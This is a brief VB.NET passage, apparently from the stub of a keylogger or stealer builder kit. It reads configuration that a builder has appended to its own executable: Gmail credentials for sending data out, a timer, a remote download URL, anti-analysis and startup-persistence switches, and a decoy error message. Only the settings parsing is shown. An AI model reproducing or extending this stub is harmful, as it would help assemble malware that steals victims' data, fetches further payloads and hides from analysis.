Try

            FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)


            gmailusr = Space(LOF(1)) '1
            gmailpwd = Space(LOF(1)) '2
            tmrinterval = Space(LOF(1)) '3
            exename = Space(LOF(1)) '4
            downloadenabled = Space(LOF(1)) '5
            downloadurl = Space(LOF(1)) '6
            enablelink = Space(LOF(1)) '7
            anties = Space(LOF(1)) '8
            startup = Space(LOF(1)) '9
            cb6 = Space(LOF(1)) '10
            cb7 = Space(LOF(1)) '11
            cb8 = Space(LOF(1)) '12
            cb9 = Space(LOF(1)) '13
            errortitle = Space(LOF(1)) '14
            errormessage = Space(LOF(1)) '15



            Settings = Split(System.Text.Encoding.Default.GetString(ReadResource(Application.ExecutablePath)), Fitz)
            'This splits every string that has been passed from the builder using our "Const".
            'settings(0) = stub